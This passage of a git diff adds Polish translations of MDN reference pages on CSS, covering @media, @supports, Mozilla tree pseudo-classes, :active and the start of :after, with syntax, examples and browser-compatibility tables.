(ograniczonych klamrami). +</p> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia"> Składnia </h3> +<pre class="eval">@media <i><typy mediów></i> { + /* reguły specyficzne dla medium */ +} +</pre> +<h3 id="Typy_medi.C3.B3w" name="Typy_medi.C3.B3w"> Typy mediów </h3> +<dl><dt>all +</dt><dd>Pasujące dla wszystkich urządzeń. +</dd><dt>braille +</dt><dd>Przeznaczone dla dotykowych urządzeń brailla. +</dd><dt>embossed +</dt><dd>Przeznaczone dla drukarek brailla. +</dd><dt>handheld +</dt><dd>Przeznaczone dla urządzeń kieszonkowych (przeważnie z małym ekranem, ograniczoną przepustowością). +</dd><dt>print +</dt><dd>Przeznaczone dla materiałów stronnicowanych lub dokumentów pokazywanych na ekranie w trybie podglądu wydruku. Sprawdź rozdział o mediach stronnicowanych, aby dowiedzieć się o zagadnieniach formatowania, które są specyficzne dla mediów stronnicowanych. +</dd><dt>projection +</dt><dd>Przeznaczone dla rzutowanych prezentacji, np. projektorów. Sprawdź rozdział o mediach stronnicowanych, aby dowiedzieć się o zagadnieniach formatowania, które są specyficzne dla mediów stronnicowanych. +</dd><dt>screen +</dt><dd>Przeznaczone przede wszystkim dla kolorowych ekranów komputerowych. +</dd><dt>speech +</dt><dd>Przeznaczone dla syntezatorów mowy. Uwaga: CSS2 miał do tego celu podobny typ mediów nazywany 'aural' . Zobacz w dodatku szczegóły o arkuszach stylów 'aural'. +</dd><dt>tty +</dt><dd>Przeznaczone dla mediów używających dla znaków siatki o stałej podziałce (jak np. dalekopis, terminal lub urządzenia przenośne o ograniczonych możliwościach wyświetlania). Autorzy nie powinni używać dla medium "tty" jednostek w pikselach. +</dd><dt>tv +</dt><dd>Przeznaczone dla urządzeń telewizyjnych (niska rozdzielczość, kolor, ograniczone przewijanie ekranów, dźwięk dostępny). +</dd></dl> +<p><br> +</p> +<h3 id="Grupy_medi.C3.B3w" name="Grupy_medi.C3.B3w"> Grupy mediów </h3> +<p>Typy mediów są również częścią różnych grup mediów. Poniższa tabel pokazuje, które typy są w których grupach. +</p> +<table class="standard-table"> <tbody><tr> +<td> +</td><td class="header" colspan="10" style="text-align: center;">Grupy +</td></tr> <tr> +<td class="header">Typ +</td><td class="header">continuous +</td><td class="header">paged +</td><td class="header">visual +</td><td class="header">audio +</td><td class="header">speech +</td><td class="header">tactile +</td><td class="header">grid +</td><td class="header">bitmap +</td><td class="header">interactive +</td><td class="header">static +</td></tr> <tr> +<td class="header">braille +</td><td>X +</td><td> +</td><td> +</td><td> +</td><td> +</td><td>X +</td><td>X +</td><td> +</td><td>X +</td><td>X +</td></tr> <tr> +<td class="header">embossed +</td><td> +</td><td>X +</td><td> +</td><td> +</td><td> +</td><td>X +</td><td>X +</td><td> +</td><td> +</td><td>X +</td></tr> <tr> +<td class="header">handheld +</td><td>X +</td><td>X +</td><td>X +</td><td>X +</td><td>X +</td><td> +</td><td>X +</td><td>X +</td><td>X +</td><td>X +</td></tr> <tr> +<td class="header">print +</td><td> +</td><td>X +</td><td>X +</td><td> +</td><td> +</td><td> +</td><td> +</td><td>X +</td><td> +</td><td>X +</td></tr> <tr> +<td class="header">projection +</td><td> +</td><td>X +</td><td>X +</td><td> +</td><td> +</td><td> +</td><td> +</td><td>X +</td><td>X +</td><td> +</td></tr> <tr> +<td class="header">screen +</td><td>X +</td><td> +</td><td>X +</td><td>X +</td><td> +</td><td> +</td><td> +</td><td>X +</td><td>X +</td><td>X +</td></tr> <tr> +<td class="header">speech +</td><td>X +</td><td> +</td><td> +</td><td> +</td><td>X +</td><td> +</td><td> +</td><td> +</td><td>X +</td><td>X +</td></tr> <tr> +<td class="header">tty +</td><td>X +</td><td> +</td><td>X +</td><td> +</td><td> +</td><td> +</td><td>X +</td><td> +</td><td>X +</td><td>X +</td></tr> <tr> +<td class="header">tv +</td><td>X +</td><td>X +</td><td>X +</td><td>X +</td><td> +</td><td> +</td><td> +</td><td>X +</td><td>X +</td><td>X +</td></tr> +</tbody></table> +<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady"> Przykłady </h3> +<pre> @media print { + body { font-size: 10pt } + } + @media screen { + body { font-size: 13px } + } + @media screen, print { + body { line-height: 1.2 } + } +</pre> +<h3 id="Uwagi" name="Uwagi"> Uwagi </h3> +<p>Wielomodalny typ medium jest wciąż jednym typem medium. Np. typ medium 'tv' jest wielomodalnym typem, który prezentuje jednocześnie wizualnie i słuchowo dla jednego obrazu. +</p> +<h3 id="Specyfikacje" name="Specyfikacje"> Specyfikacje </h3> +<ul><li> <a class="external" href="http://www.w3.org/TR/CSS21/media.html#at-media-rule">CSS 2.1</a> +</li></ul> +<h3 id="Zgodno.C5.9B.C4.87_z_przegl.C4.85dark.C4.85" name="Zgodno.C5.9B.C4.87_z_przegl.C4.85dark.C4.85"> Zgodność z przeglądarką </h3> +<h3 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe"> Zobacz także </h3> +<p>{{ Cssxref("@import") }}, {{ Cssxref("@font-face") }} +</p>{{ languages( { "en": "en/CSS/@media", "fr": "fr/CSS/@media" } ) }} diff --git a/files/pl/web/css/@supports/index.html b/files/pl/web/css/@supports/index.html new file mode 100644 index 0000000000..1c726ccdc8 --- /dev/null +++ b/files/pl/web/css/@supports/index.html @@ -0,0 +1,123 @@ +--- +title: '@supports' +slug: Web/CSS/@supports +translation_of: Web/CSS/@supports +--- +<p>{{ CSSRef() }}</p> + +<h2 id="Podsumowanie">Podsumowanie</h2> + +<p><code>@supports</code> <a href="/en/CSS" title="CSS">CSS</a> <a href="/en/CSS/At-rule" title="en/CSS/At-rule">at-rule</a> zawiera grupę reguł w bloku CSS zamkniętych w klamrowych nawiasach. Składa się z deklaracji CSS (klucz-para). Do wykorzstania mamy także warunkowość zdań: koniunkcję, alternatywę oraz negację. Powyższa reguła daje nam możliwość wykrycia dostępności danej reguły.</p> + +<p>Istnieje możliwość użycia tej reguły na zewnątrz <a href="/en/CSS/At-rule#Conditional_Group_Rules" title="en/CSS/At-rule#Conditional_Group_Rules">CSS conditional-group at-rule</a>, uzyskując tym samym dostęp do kontrolowania jej przy użyciu obiektowego modelu interfejsu CSS {{domxref("CSSSupportsRule")}}.<br> + </p> + +<h2 id="Syntax" name="Syntax">Składnia</h2> + +<pre class="syntaxbox">@supports <em><wyrażenie></em> { + /* reguły, które zostaną zaaplikowane w przypadku gdy wyrażenie jest prawdziwe */ +} +</pre> + +<h2 id="Przykłady">Przykłady</h2> + +<h3 id="Sprawdzanie_wsparcia_danej_właściowści_CSS">Sprawdzanie wsparcia danej właściowści CSS</h3> + +<pre class="brush:css;">@supports (animation-name: test) { + … /* reguły aplikowane gdy właściwość "animation-name" jest dostepna bez tzw. vendor prefixes, np. "-webkit-animation" */ + @keyframes { /* przykład użycia @supports na zewnątrz innej reguły @ */ + … + } +} +</pre> + +<h3 id="Sprawdzanie_wsparcia_danej_właściowści_CSS_wraz_z_przedrostkami">Sprawdzanie wsparcia danej właściowści CSS wraz z przedrostkami</h3> + +<pre class="brush:css;">@supports ( (perspective: 10px) or (-moz-perspective: 10px) or (-webkit-perspective: 10px) or + (-ms-perspective: 10px) or (-o-perspective: 10px) ) { + … /* reguły aplikowane są dostępne, niezależnie czy przeglądarka obsługuje wersja z przedrostkami czy bez */ +} +</pre> + +<h3 id="Sprawdzanie_czy_przeglądarka_nie_obsługuje_danej_właściwości">Sprawdzanie czy przeglądarka nie obsługuje danej właściwości</h3> + +<pre class="brush:css;">@supports ( not ((text-align-last:justify) or (-moz-text-align-last:justify) ){ + /* aplikowane reguły, jeśli powyższe wyrażenie jest prawdziwe */ +}</pre> + +<h2 id="Specyfikacje">Specyfikacje</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specyfikacja</th> + <th scope="col">Status</th> + <th scope="col">Komentarz</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{ SpecName('CSS3 Conditional', '#at-supports', '@supports') }}</td> + <td>{{ Spec2('CSS3 Conditional') }}</td> + <td>Initial definition.</td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility" name="Browser_compatibility">Zgodność z przeglądarką</h2> + +<p>{{ CompatibilityTable() }}</p> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>Cecha</th> + <th>Chrome</th> + <th>Firefox (Gecko)</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari</th> + </tr> + <tr> + <td>Podstawowe wsparcie</td> + <td>28.0</td> + <td>{{ CompatGeckoDesktop("22") }} [1]</td> + <td>{{ CompatNo() }}</td> + <td>12.1</td> + <td>{{ CompatNo() }}</td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table"> + <tbody> + <tr> + <th>Cecha</th> + <th>Android</th> + <th>Firefox Mobile (Gecko)</th> + <th>IE Mobile</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + </tr> + <tr> + <td>Podstawowe wsparcie</td> + <td>{{ CompatNo() }}</td> + <td>{{ CompatGeckoMobile("22") }} [1]</td> + <td>{{ CompatNo() }}</td> + <td>12.1</td> + <td>{{ CompatNo() }}</td> + </tr> + </tbody> +</table> +</div> + +<p>[1] Gecko 17 do Gecko 21 wspierał tą cechę tylko gdy użytkownik włączył ją ustawiając wartość <code>layout.css.supports-rule.enabled</code> na <code>true</code>.</p> + +<h2 id="Zobacz_też">Zobacz też</h2> + +<ul> + <li>The CSSOM class {{ domxref("CSSSupportsRule") }}, and the {{ domxref("CSS.supports") }} method that allows to perform the same check via JavaScript.</li> +</ul> diff --git a/files/pl/web/css/_colon_-moz-last-node/index.html b/files/pl/web/css/_colon_-moz-last-node/index.html new file mode 100644 index 0000000000..8650cda09d --- /dev/null +++ b/files/pl/web/css/_colon_-moz-last-node/index.html @@ -0,0 +1,63 @@ +--- +title: ':last-node' +slug: 'Web/CSS/:-moz-last-node' +tags: + - CSS + - Non-standard +translation_of: 'Web/CSS/:-moz-last-node' +--- +<p>{{Non-standard_header}}{{ CSSRef() }}</p> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p>Pseudoklasa <code>:last-node</code> sprawia iż własności stosowane są do elementu tylko wtedy gdy jest on ostatnim węzłem potomnym swojego rodzica. <code>:last-node</code> uwzględnia również węzły tekstowe składające się niebiałych znaków. Pseudoklasą, która działa identycznie, jednak nie uwzględnia węzłów tekstowych jest {{ Cssxref(":last-child") }}.</p> + +<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2> + +<pre class="eval">selektor:-moz-last-node { własności } +</pre> + +<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h3> + +<pre><html> + <body> + Trochę tekstu. + <span id="first">pierwszy</span> + <div> + <span id="dfirst">pierwszy</span> + <span id="dsecond">drugi</span> + </div> + <span id="second">drugi</span> + </body> +</html> +</pre> + +<pre class="eval">span:-moz-last-node { font-weight: bold; } +</pre> + +<p>Powyższy zapis pogrubi czcionkę wewnątrz wszystkich elementów <code>span</code>, które są ostatnimi dziećmi swoich rodziców. Zostaną tutaj pogrubione obydwa słowa "<strong>drugi</strong>".</p> + +<ol> + <li>span o id <code>dsecond</code> jest ostatnim dzieckiem elementu div</li> + <li>span o id <code>second</code> jest ostatnim dzieckiem elementu body</li> +</ol> + +<p> </p> + +<pre class="eval">div:-moz-first-node:last-child { background-color: red; } +</pre> + +<p>Ten przykład ustawi czerwony kolor tła wszystkim elementom <code>div</code>, które są jedynymi dziećmi swojego rodzica. Jednak za elementem może znajdować się węzeł tekstowy.</p> + +<pre class="eval">div:-moz-first-child:last-node { background-color: red; } +</pre> + +<p>Ten przykład natomiast ustawi czerwony kolor tła wszystkim elementom <code>div</code>, które są jedynymi dziećmi swojego rodzica. Przed elementem może znajdować się węzeł tekstowy.</p> + +<h2 id="Notatki" name="Notatki">Notatki</h2> + +<p>Pseudoklasa <code>:-moz-last-node</code> nie jest obecnie obsługiwana. Skorzystaj z {{ Cssxref(":-moz-last-node") }}</p> + +<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2> + +<p>{{ Cssxref(":before") }}, {{ Cssxref(":after") }}, {{ Cssxref(":first-node") }}</p> diff --git a/files/pl/web/css/_colon_-moz-tree-cell-text/index.html b/files/pl/web/css/_colon_-moz-tree-cell-text/index.html new file mode 100644 index 0000000000..ea450f5cb5 --- /dev/null +++ b/files/pl/web/css/_colon_-moz-tree-cell-text/index.html @@ -0,0 +1,25 @@ +--- +title: ':-moz-tree-cell-text' +slug: 'Web/CSS/:-moz-tree-cell-text' +tags: + - CSS + - Non-standard +translation_of: 'Mozilla/Gecko/Chrome/CSS/::-moz-tree-cell-text' +--- +<p>{{Non-standard_header}}{{ CSSRef() }}</p> + +<p>Aktywowany przez atrybut <code>properties</code>.</p> + +<h2 id="Powi.C4.85zane_elementy" name="Powi.C4.85zane_elementy">Powiązane elementy</h2> + +<ul> + <li>treecell</li> +</ul> + +<h2 id="W.C5.82asno.C5.9Bci_styl.C3.B3w" name="W.C5.82asno.C5.9Bci_styl.C3.B3w">Własności stylów</h2> + +<ul> + <li>font</li> + <li>visibility</li> + <li>color</li> +</ul> diff --git a/files/pl/web/css/_colon_-moz-tree-cell/index.html b/files/pl/web/css/_colon_-moz-tree-cell/index.html new file mode 100644 index 0000000000..d6fb331d38 --- /dev/null +++ b/files/pl/web/css/_colon_-moz-tree-cell/index.html @@ -0,0 +1,28 @@ +--- +title: ':-moz-tree-cell' +slug: 'Web/CSS/:-moz-tree-cell' +tags: + - CSS + - Non-standard +translation_of: 'Mozilla/Gecko/Chrome/CSS/::-moz-tree-cell' +--- +<p>{{ CSSRef() }}{{Non-standard_header}}</p> + +<p>Aktywowany przez atrybut <code>properties</code>.</p> + +<h2 id="Powi.C4.85zane_elementy" name="Powi.C4.85zane_elementy">Powiązane elementy</h2> + +<ul> + <li>treecell</li> +</ul> + +<h2 id="W.C5.82asno.C5.9Bci_styl.C3.B3w" name="W.C5.82asno.C5.9Bci_styl.C3.B3w">Własności stylów</h2> + +<ul> + <li>background</li> + <li>border</li> + <li>margin</li> + <li>outline</li> + <li>padding</li> + <li>visibility</li> +</ul> diff --git a/files/pl/web/css/_colon_-moz-tree-column/index.html b/files/pl/web/css/_colon_-moz-tree-column/index.html new file mode 100644 index 0000000000..9e17185510 --- /dev/null +++ b/files/pl/web/css/_colon_-moz-tree-column/index.html @@ -0,0 +1,25 @@ +--- +title: ':-moz-tree-column' +slug: 'Web/CSS/:-moz-tree-column' +tags: + - CSS + - Non-standard +translation_of: 'Mozilla/Gecko/Chrome/CSS/::-moz-tree-column' +--- +<p>{{ CSSRef() }}{{Non-standard_header}}</p> + +<p>Aktywowany przez atrybut <code>properties</code>.</p> + +<h2 id="Powi.C4.85zane_elementy" name="Powi.C4.85zane_elementy">Powiązane elementy</h2> + +<ul> + <li>treecol</li> +</ul> + +<h2 id="W.C5.82asno.C5.9Bci_styl.C3.B3w" name="W.C5.82asno.C5.9Bci_styl.C3.B3w">Własności stylów</h2> + +<ul> + <li>margin</li> + <li>visibility</li> + <li>text style</li> +</ul> diff --git a/files/pl/web/css/_colon_-moz-tree-drop-feedback/index.html b/files/pl/web/css/_colon_-moz-tree-drop-feedback/index.html new file mode 100644 index 0000000000..651ab25f65 --- /dev/null +++ b/files/pl/web/css/_colon_-moz-tree-drop-feedback/index.html @@ -0,0 +1,26 @@ +--- +title: ':-moz-tree-drop-feedback' +slug: 'Web/CSS/:-moz-tree-drop-feedback' +tags: + - CSS + - Non-standard +translation_of: 'Mozilla/Gecko/Chrome/CSS/::-moz-tree-drop-feedback' +--- +<p>{{Non-standard_header}}{{ CSSRef() }}</p> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p>Aktywowany przez atrybut <code>properties</code>.</p> + +<h2 id="Powi.C4.85zane_elementy" name="Powi.C4.85zane_elementy">Powiązane elementy</h2> + +<ul> + <li>treerow</li> +</ul> + +<h2 id="W.C5.82asno.C5.9Bci_styl.C3.B3w" name="W.C5.82asno.C5.9Bci_styl.C3.B3w">Własności stylów</h2> + +<ul> + <li>margin</li> + <li>visibility</li> +</ul> diff --git a/files/pl/web/css/_colon_-moz-tree-image/index.html b/files/pl/web/css/_colon_-moz-tree-image/index.html new file mode 100644 index 0000000000..ae4bd01d26 --- /dev/null +++ b/files/pl/web/css/_colon_-moz-tree-image/index.html @@ -0,0 +1,28 @@ +--- +title: ':-moz-tree-image' +slug: 'Web/CSS/:-moz-tree-image' +tags: + - CSS + - Non-standard +translation_of: 'Mozilla/Gecko/Chrome/CSS/:-moz-tree-image' +--- +<p>{{ CSSRef() }}{{Non-standard_header}}</p> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p>Aktywowany przez atrybut <code>properties</code>.</p> + +<h2 id="Powi.C4.85zane_elementy" name="Powi.C4.85zane_elementy">Powiązane elementy</h2> + +<ul> + <li>treeitem</li> + <li>treecell</li> +</ul> + +<h2 id="W.C5.82asno.C5.9Bci_styl.C3.B3w" name="W.C5.82asno.C5.9Bci_styl.C3.B3w">Własności stylów</h2> + +<ul> + <li>margin</li> + <li>list style</li> + <li>position</li> +</ul> diff --git a/files/pl/web/css/_colon_-moz-tree-indentation/index.html b/files/pl/web/css/_colon_-moz-tree-indentation/index.html new file mode 100644 index 0000000000..646d986d82 --- /dev/null +++ b/files/pl/web/css/_colon_-moz-tree-indentation/index.html @@ -0,0 +1,23 @@ +--- +title: ':-moz-tree-indentation' +slug: 'Web/CSS/:-moz-tree-indentation' +tags: + - CSS + - Non-standard +translation_of: 'Mozilla/Gecko/Chrome/CSS/::-moz-tree-indentation' +--- +<p>{{ CSSRef() }}{{Non-standard_header}}</p> + +<p>Aktywowany przez atrybut <code>properties</code>.</p> + +<h2 id="Powi.C4.85zane_elementy" name="Powi.C4.85zane_elementy">Powiązane elementy</h2> + +<ul> + <li>treeitem</li> +</ul> + +<h2 id="W.C5.82asno.C5.9Bci_styl.C3.B3w" name="W.C5.82asno.C5.9Bci_styl.C3.B3w">Własności stylów</h2> + +<ul> + <li>position</li> +</ul> diff --git a/files/pl/web/css/_colon_-moz-tree-line/index.html b/files/pl/web/css/_colon_-moz-tree-line/index.html new file mode 100644 index 0000000000..dbe7014b2f --- /dev/null +++ b/files/pl/web/css/_colon_-moz-tree-line/index.html @@ -0,0 +1,24 @@ +--- +title: ':-moz-tree-line' +slug: 'Web/CSS/:-moz-tree-line' +tags: + - CSS + - Non-standard +translation_of: 'Mozilla/Gecko/Chrome/CSS/::-moz-tree-line' +--- +<p>{{Non-standard_header}}{{ CSSRef() }}</p> + +<p>Aktywowany przez atrybut <code>properties</code>.</p> + +<h2 id="Powi.C4.85zane_elementy" name="Powi.C4.85zane_elementy">Powiązane elementy</h2> + +<ul> + <li>treeitem</li> +</ul> + +<h2 id="W.C5.82asno.C5.9Bci_styl.C3.B3w" name="W.C5.82asno.C5.9Bci_styl.C3.B3w">Własności stylów</h2> + +<ul> + <li>border</li> + <li>visibility</li> +</ul> diff --git a/files/pl/web/css/_colon_-moz-tree-progressmeter/index.html b/files/pl/web/css/_colon_-moz-tree-progressmeter/index.html new file mode 100644 index 0000000000..65442cf74e --- /dev/null +++ b/files/pl/web/css/_colon_-moz-tree-progressmeter/index.html @@ -0,0 +1,24 @@ +--- +title: ':-moz-tree-progressmeter' +slug: 'Web/CSS/:-moz-tree-progressmeter' +tags: + - CSS + - Non-standard +translation_of: 'Mozilla/Gecko/Chrome/CSS/::-moz-tree-progressmeter' +--- +<p>{{Non-standard_header}}{{ CSSRef() }}</p> + +<p>Aktywowany przez atrybut <code>properties</code>.</p> + +<h2 id="Powi.C4.85zane_elementy" name="Powi.C4.85zane_elementy">Powiązane elementy</h2> + +<ul> + <li>treecell</li> +</ul> + +<h2 id="W.C5.82asno.C5.9Bci_styl.C3.B3w" name="W.C5.82asno.C5.9Bci_styl.C3.B3w">Własności stylów</h2> + +<ul> + <li>margin</li> + <li>color</li> +</ul> diff --git a/files/pl/web/css/_colon_-moz-tree-row/index.html b/files/pl/web/css/_colon_-moz-tree-row/index.html new file mode 100644 index 0000000000..763aefc4bb --- /dev/null +++ b/files/pl/web/css/_colon_-moz-tree-row/index.html @@ -0,0 +1,47 @@ +--- +title: ':-moz-tree-row' +slug: 'Web/CSS/:-moz-tree-row' +tags: + - CSS + - Non-standard +translation_of: 'Mozilla/Gecko/Chrome/CSS/::-moz-tree-row' +--- +<p>{{ CSSRef() }}{{Non-standard_header}}</p> + +<p><code>-moz-tree-row</code> jest używane do wybrania wierszy i zastosowania stylu do drzewa wierszy.</p> + +<h2 id="Powi.C4.85zane_elementy" name="Powi.C4.85zane_elementy">Powiązane elementy</h2> + +<ul> + <li>treerow</li> +</ul> + +<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2> + +<pre class="eval">treechildren::-moz-tree-row {<em>style properties</em> } +</pre> + +<h2 id="W.C5.82asno.C5.9Bci_styl.C3.B3w" name="W.C5.82asno.C5.9Bci_styl.C3.B3w">Własności stylów</h2> + +<ul> + <li>background</li> + <li>border</li> + <li>margin</li> + <li>outline</li> + <li>padding</li> + <li>display</li> + <li>-moz-appearance</li> +</ul> + +<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2> + +<pre>treechildren::-moz-tree-row( foo bar ) +{ + margin: 2%; +} +</pre> + +<p>...gdzie...</p> + +<pre> <treerow properties="foo">...</treerow> +</pre> diff --git a/files/pl/web/css/_colon_-moz-tree-separator/index.html b/files/pl/web/css/_colon_-moz-tree-separator/index.html new file mode 100644 index 0000000000..b855c38553 --- /dev/null +++ b/files/pl/web/css/_colon_-moz-tree-separator/index.html @@ -0,0 +1,27 @@ +--- +title: ':-moz-tree-separator' +slug: 'Web/CSS/:-moz-tree-separator' +tags: + - CSS + - Non-standard +translation_of: 'Mozilla/Gecko/Chrome/CSS/::-moz-tree-separator' +--- +<p>{{Non-standard_header}}{{ CSSRef() }}</p> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p>Aktywowany przez atrybut <code>properties</code>.</p> + +<h2 id="Powi.C4.85zane_elementy" name="Powi.C4.85zane_elementy">Powiązane elementy</h2> + +<ul> + <li>treeseparator</li> +</ul> + +<h2 id="W.C5.82asno.C5.9Bci_styl.C3.B3w" name="W.C5.82asno.C5.9Bci_styl.C3.B3w">Własności stylów</h2> + +<ul> + <li>border</li> + <li>display</li> + <li>-moz-appearance</li> +</ul> diff --git a/files/pl/web/css/_colon_-moz-tree-twisty/index.html b/files/pl/web/css/_colon_-moz-tree-twisty/index.html new file mode 100644 index 0000000000..0da422f8a2 --- /dev/null +++ b/files/pl/web/css/_colon_-moz-tree-twisty/index.html @@ -0,0 +1,29 @@ +--- +title: ':-moz-tree-twisty' +slug: 'Web/CSS/:-moz-tree-twisty' +tags: + - CSS + - Non-standard +translation_of: 'Mozilla/Gecko/Chrome/CSS/::-moz-tree-twisty' +--- +<p>{{ CSSRef() }}{{Non-standard_header}}</p> + +<p>Aktywowany przez atrybut <code>properties</code>.</p> + +<h2 id="Powi.C4.85zane_elementy" name="Powi.C4.85zane_elementy">Powiązane elementy</h2> + +<ul> + <li>treecell</li> +</ul> + +<h2 id="W.C5.82asno.C5.9Bci_styl.C3.B3w" name="W.C5.82asno.C5.9Bci_styl.C3.B3w">Własności stylów</h2> + +<ul> + <li>border</li> + <li>margin</li> + <li>padding</li> + <li>display</li> + <li>list style</li> + <li>position</li> + <li>-moz-appearance</li> +</ul> diff --git a/files/pl/web/css/_colon_active/index.html b/files/pl/web/css/_colon_active/index.html new file mode 100644 index 0000000000..7779ce45f6 --- /dev/null +++ b/files/pl/web/css/_colon_active/index.html @@ -0,0 +1,160 @@ +--- +title: ':active' +slug: 'Web/CSS/:active' +tags: + - pseudo klasa +translation_of: 'Web/CSS/:active' +--- +<div>{{CSSRef}}</div> + +<h2 id="Pseudo_klasaactive">Pseudo klasa:active</h2> + +<p><code>Właściwość :active</code> CSS <a href="/en-US/docs/CSS/Pseudo-classes" title="Pseudo-classes">pseudo-class </a><code>jest używany w momencie aktywowania danego elementu przez użytkownika. Podczas interakcji z myszą zazwyczaj jest to czas pomiędzy naciśnięciem przycisku myszy a zwolnieniem go.</code> Pseudo klasa <code>:active jest często używna z elementami HTML jak</code> {{HTMLElement("a")}} lub {{HTMLElement("button")}} ale nie tylko.</p> + +<p>Pseudo klasa :active może zostać zastąpiona przez inne pseudo-klasy powiązane z linkami, takie jak {{cssxref (": link")}}, {{cssxref (": hover")}} i {cssxref (": visited" )}}, które mogą się pojawić w kolejnych regułach. W celu dopasowania odpowiednich linków, należy umieścić: active we wszystkich innych regułach linków, zgodnie z definicją zlecenia LVHA:: link -: visited -: hover -: active.</p> + +<div class="note"><strong>Notatka:</strong> W systemach z wieloma przyciskami, CSS 3 określa pseudo klasę <code>:active</code> dla przycisku podstawowego.</div> + +<h2 id="Składnia">Składnia</h2> + +<pre class="syntaxbox">{{csssyntax}}</pre> + +<h2 id="Example" name="Example">Przykład</h2> + +<div id="example"> +<h3 id="HTML">HTML</h3> + +<pre class="brush: html; highlight:[3]"><body> + <h1>:active przykład selektora CSS</h1> + <p>Ten link zmieni się w czasie kliknięcia i zwolnienia<a href="#">Mozilla Developer Network</a>.</p> +</body></pre> + +<h3 id="CSS">CSS</h3> + +<pre class="brush: css; highlight:[5]">body { background-color: #ffffc9 } +a:link { color: blue } /* unvisited links */ +a:visited { color: purple } /* visited links */ +a:hover { <span class="st">font-weight: bold</span> } /* user hovers */ +a:active { color: lime } /* active links */</pre> +</div> + +<div>{{EmbedLiveSample('example',600,140)}}</div> + +<h2 id="Specyfikacja"><span>Specyfikacja</span></h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('HTML WHATWG', 'scripting.html#selector-active', ':active')}}</td> + <td>{{Spec2('HTML WHATWG')}}</td> + <td> </td> + </tr> + <tr> + <td>{{SpecName('CSS4 Selectors', '#active-pseudo', ':active')}}</td> + <td>{{Spec2('CSS4 Selectors')}}</td> + <td>No change.</td> + </tr> + <tr> + <td>{{SpecName('CSS3 Selectors', '#useraction-pseudos', ':active')}}</td> + <td>{{Spec2('CSS3 Selectors')}}</td> + <td>No change.</td> + </tr> + <tr> + <td>{{SpecName('CSS2.1', 'selector.html#dynamic-pseudo-classes', ':active')}}</td> + <td>{{Spec2('CSS2.1')}}</td> + <td>No change.</td> + </tr> + <tr> + <td>{{SpecName('CSS1', '#anchor-pseudo-classes', ':active')}}</td> + <td>{{Spec2('CSS1')}}</td> + <td>Initial definition.</td> + </tr> + </tbody> +</table> + +<h2 id="Wsparcie_przeglądarek">Wsparcie przeglądarek</h2> + +<div>{{CompatibilityTable}}</div> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Chrome</th> + <th>Edge</th> + <th>Firefox (Gecko)</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari</th> + </tr> + <tr> + <td>Basic support</td> + <td>1.0</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatGeckoDesktop("1.0")}}</td> + <td>4.0</td> + <td>5.0</td> + <td>1.0</td> + </tr> + <tr> + <td>Support on non-<code><a></code> elements</td> + <td>1.0</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatGeckoDesktop("1.0")}}</td> + <td>8.0</td> + <td>7.0</td> + <td>1.0</td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Android</th> + <th>Edge</th> + <th>Firefox Mobile (Gecko)</th> + <th>IE Mobile</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + </tr> + <tr> + <td>Basic support</td> + <td>1.0</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatGeckoMobile("1.0")}}</td> + <td>6.0</td> + <td>6.0</td> + <td>1.0</td> + </tr> + <tr> + <td>Support on non-<code><a></code> elements</td> + <td>1.0</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatGeckoMobile("1.0")}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatVersionUnknown}} [1]</td> + </tr> + </tbody> +</table> +</div> + +<p>[1] By default, Safari Mobile does not use the {{cssxref(":active")}} state unless there is a <a href="/en-US/docs/Web/Reference/Events/touchstart"><code>touchstart</code></a> event handler on the relevant element or on the {{HTMLElement("body")}}.</p> + +<h2 id="Zobacz_też">Zobacz też</h2> + +<ul> + <li>Link-related pseudo-classes: {{cssxref(":link")}}, {{cssxref(":visited")}}, and {{cssxref(":hover")}}.</li> +</ul> diff --git a/files/pl/web/css/_colon_after/index.html b/files/pl/web/css/_colon_after/index.html new file mode 100644 index 0000000000..71261c88bb --- /dev/null +++ b/files/pl/web/css/_colon_after/index.html @@ -0,0 +1,63 @@ +--- +title: ':after' +slug: 'Web/CSS/:after' +tags: + - CSS + - 'CSS:Dokumentacje' + - Dokumentacje + - Wszystkie_kategorie +translation_of: 'Web/CSS/::after' +--- +<p>{{ CSSRef() }}</p> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p>Tworzy pseudoelement, który staje się ostatnim dzieckiem danego elementu. Zazwyczaj używany jest do wprowadzania kosmetycznych zmian danego elementu. Domyślnie element wstawiany jest <code>inline</code>.</p> + +<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2> + +<pre>/* składnia CSS2 */ selektor:after { własności } +/* składnia CSS3 